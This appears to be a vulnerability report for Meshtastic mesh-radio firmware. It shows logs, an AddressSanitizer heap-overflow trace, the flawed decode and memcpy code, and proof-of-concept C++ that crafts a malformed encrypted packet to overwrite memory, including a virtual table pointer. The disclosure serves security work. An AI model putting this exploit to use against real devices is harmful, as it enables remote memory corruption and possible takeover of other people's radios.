DEBUG | 22:27:03 0 State: BOOT
DEBUG | 22:27:03 0 Lora RX (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=3 Ch=0x8 encrypted hopStart=3)
DEBUG | 22:27:03 0 Packet RX: 845ms
DEBUG | 22:27:03 0 [Router] Add packet record (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=3 Ch=0x8 encrypted hopStart=3)
DEBUG | 22:27:03 0 [Router] Use channel 0 (hash 0x8)
DEBUG | 22:27:03 0 [Router] Expand short PSK #1
DEBUG | 22:27:03 0 [Router] Use AES128 key!
ERROR | 22:27:03 0 [Router] Can't decode protobuf reason='wrong wire type', pb_msgdesc 0x55f23cf543c0
ERROR | 22:27:03 0 [Router] Invalid protobufs in received mesh packet id=0x76f4febf (bad psk?)!
WARN  | 22:27:03 0 [Router] No suitable channel found for decoding, hash was 0x8!
DEBUG | 22:27:03 0 [Router] packet decoding failed or skipped (no PSK?) (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=3 Ch=0x8 encrypted rxtime=1736461623 hopStart=3)
DEBUG | 22:27:03 0 [Router] Module 'routing' wantsPacket=1
INFO  | 22:27:03 0 [Router] Received routing from=0x10, id=0x76f4febf, portnum=10320, payloadlen=25
DEBUG | 22:27:03 0 [Router] Routing sniffing (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=3 Ch=0x8 encrypted rxtime=1736461623 hopStart=3)
INFO  | 22:27:03 0 [Router] Rebroadcast received floodmsg
DEBUG | 22:27:03 0 [Router] enqueuing for send (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=2 Ch=0x8 encrypted rxtime=1736461623 hopStart=3 priority=64)
DEBUG | 22:27:03 0 [Router] Set random delay before tx
DEBUG | 22:27:03 0 [Router] Delivering rx packet (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=3 Ch=0x8 encrypted rxtime=1736461623 hopStart=3)
DEBUG | 22:27:03 0 [Router] Forwarding to phone (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=3 Ch=0x8 encrypted rxtime=1736461623 hopStart=3)
ERROR | 22:27:03 0 [Router] Packet too large to attempt decryption! (rawSize=10320 > 256)
DEBUG | 22:27:03 0 [Router] Module 'routing' considered
DEBUG | 22:27:03 0 [SimRadio] delay done
DEBUG | 22:27:03 0 [SimRadio] Start low level send (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=2 Ch=0x8 encrypted rxtime=1736461623 hopStart=3 priority=64)
=================================================================
==6992==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6130000006e0 at pc 0x7f85755a7397 bp 0x7fff161319a0 sp 0x7fff16131148
READ of size 10320 at 0x6130000006e0 thread T0
    #0 0x7f85755a7396 in __interceptor_memcpy ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:827
    #1 0x55f23a1c40d2 in RadioInterface::beginSending(_meshtastic_MeshPacket*) src/mesh/RadioInterface.cpp:621
    #2 0x55f23a297a8d in SimRadio::startSend(_meshtastic_MeshPacket*) src/platform/portduino/SimRadio.cpp:261
    #3 0x55f23a29782f in SimRadio::onNotify(unsigned int) src/platform/portduino/SimRadio.cpp:231
    #4 0x55f23a0c8ee2 in concurrency::NotifiedWorkerThread::checkNotification() src/concurrency/NotifiedWorkerThread.cpp:82
    #5 0x55f23a0c8f3c in concurrency::NotifiedWorkerThread::runOnce() src/concurrency/NotifiedWorkerThread.cpp:89
    #6 0x55f23a0c9623 in concurrency::OSThread::run() src/concurrency/OSThread.cpp:85
    #7 0x55f23a2d0f66 in ThreadController::runOrDelay() .pio/libdeps/native/Thread/ThreadController.cpp:59
    #8 0x55f23a154893 in loop src/main.cpp:1259
    #9 0x55f23a3a54db in main /home/alain/.platformio/packages/framework-portduino/cores/portduino/main.cpp:226
    #10 0x7f8574ad7d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #11 0x7f8574ad7e3f in __libc_start_main_impl ../csu/libc-start.c:392
    #12 0x55f239f8f8b4 in _start (/home/alain/marc/program+0x1098b4)

0x6130000006e0 is located 0 bytes to the right of 352-byte region [0x613000000580,0x6130000006e0)
allocated by thread T0 here:
    #0 0x7f8575621887 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
    #1 0x55f23a1d55ac in MemoryDynamic<_meshtastic_MeshPacket>::alloc(unsigned int) src/mesh/MemoryPool.h:71
    #2 0x55f23a16aeb3 in Allocator<_meshtastic_MeshPacket>::allocCopy(_meshtastic_MeshPacket const&, unsigned int) src/mesh/MemoryPool.h:38
    #3 0x55f23a16a573 in FloodingRouter::perhapsRebroadcast(_meshtastic_MeshPacket const*) src/mesh/FloodingRouter.cpp:60
    #4 0x55f23a16a91e in FloodingRouter::sniffReceived(_meshtastic_MeshPacket const*, _meshtastic_Routing const*) src/mesh/FloodingRouter.cpp:97
    #5 0x55f23a1ca301 in ReliableRouter::sniffReceived(_meshtastic_MeshPacket const*, _meshtastic_Routing const*) src/mesh/ReliableRouter.cpp:141
    #6 0x55f23a220710 in RoutingModule::handleReceivedProtobuf(_meshtastic_MeshPacket const&, _meshtastic_Routing*) src/modules/RoutingModule.cpp:26
    #7 0x55f23a22141f in ProtobufModule<_meshtastic_Routing>::handleReceived(_meshtastic_MeshPacket const&) src/mesh/ProtobufModule.h:100
    #8 0x55f23a17e8fa in MeshModule::callModules(_meshtastic_MeshPacket&, RxSource) src/mesh/MeshModule.cpp:132
    #9 0x55f23a1d437b in Router::handleReceived(_meshtastic_MeshPacket*, RxSource) src/mesh/Router.cpp:618
    #10 0x55f23a1d5211 in Router::perhapsHandleReceived(_meshtastic_MeshPacket*) src/mesh/Router.cpp:681
    #11 0x55f23a1cfc2c in Router::runOnce() src/mesh/Router.cpp:71
    #12 0x55f23a1cc01d in ReliableRouter::runOnce() src/mesh/ReliableRouter.h:79
    #13 0x55f23a0c9623 in concurrency::OSThread::run() src/concurrency/OSThread.cpp:85
    #14 0x55f23a2d0f66 in ThreadController::runOrDelay() .pio/libdeps/native/Thread/ThreadController.cpp:59
    #15 0x55f23a154893 in loop src/main.cpp:1259
    #16 0x55f23a3a54db in main /home/alain/.platformio/packages/framework-portduino/cores/portduino/main.cpp:226
    #17 0x7f8574ad7d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58

SUMMARY: AddressSanitizer: heap-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:827 in __interceptor_memcpy
Shadow bytes around the buggy address:
  0x0c267fff8080: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c267fff8090: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c267fff80a0: fd fd fd fd fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c267fff80b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c267fff80c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c267fff80d0: 00 00 00 00 00 00 00 00 00 00 00 00[fa]fa fa fa
  0x0c267fff80e0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x0c267fff80f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c267fff8100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c267fff8110: 00 00 00 00 fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c267fff8120: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==6992==ABORTING

// src/mesh/RadioInterface.cpp

size_t RadioInterface::beginSending(meshtastic_MeshPacket *p)
{
    // ...
    memcpy(radioBuffer.payload, p->encrypted.bytes, p->encrypted.size);

    // ...
}

// src/mesh/Router.cpp

bool perhapsDecode(meshtastic_MeshPacket *p)
{
    // ...
    // Try to decrypt the packet if we can
    crypto->decrypt(p->from, p->id, rawSize, bytes);
  
    // printBytes("plaintext", bytes, p->encrypted.size);
  
    // Take those raw bytes and convert them back into a well structured protobuf we can understand
    memset(&p->decoded, 0, sizeof(p->decoded));
    if (!pb_decode_from_bytes(bytes, rawSize, &meshtastic_Data_msg, &p->decoded)) {
        LOG_ERROR("Invalid protobufs in received mesh packet id=0x%08x (bad psk?)!", p->id);
    } else if (p->decoded.portnum == meshtastic_PortNum_UNKNOWN_APP) {
        LOG_ERROR("Invalid portnum (bad psk?)!");
    } else {
        decrypted = true;
        break;
    }
  // ...
}

// src/mesh/Router.cpp

bool perhapsDecode(meshtastic_MeshPacket *p)
{
    // ...

    if (decrypted) {
        // parsing was successful
        p->which_payload_variant = meshtastic_MeshPacket_decoded_tag; // change type to decoded

    // ...

uint32_t from = 2;
uint32_t id = 2;

meshtastic_Data d = meshtastic_Data_init_default;
// We can choose the memcpy size by setting portnum, as it overlaps with the `encrypted->size` field
uint16_t memcpy_size = sizeof(meshtastic_Data);
d.portnum = static_cast<meshtastic_PortNum>(memcpy_size);
// This is the data written outside of radioBuffer
d.dest = 0xAAAAAAAA;
// Overwrites virtual table pointer
d.source = 0xBBBBBBBB;
d.request_id = 0xCCCCCCCC;
d.reply_id = 0xDDDDDDDD;
d.emoji = 0xEEEEEEEE;
d.has_bitfield = false;

byte internal_data[256] = {};
size_t internal_size = pb_encode_to_bytes(internal_data, sizeof(internal_data), &meshtastic_Data_msg, &d);

// Cause deserialization to fail by adding a stray byte
assert(internal_size < sizeof(internal_data));
internal_data[internal_size] = 0xFF;
internal_size += 1;

channels.setActiveByIndex(0);
crypto->encryptPacket(from, id, internal_size, internal_data);

meshtastic_MeshPacket p = meshtastic_MeshPacket_init_default;
p.from = from;
p.to = 4294967295; // Broadcast
p.id = id;
p.channel = 0x8;
p.hop_limit = 3;
p.hop_start = 3;
p.which_payload_variant = meshtastic_MeshPacket_encrypted_tag;
p.encrypted.size = internal_size;
memcpy(p.encrypted.bytes, internal_data, sizeof(p.encrypted.bytes));


meshtastic_MeshPacket *allocPacket = packetPool.allocCopy(p);
rIf->send(allocPacket);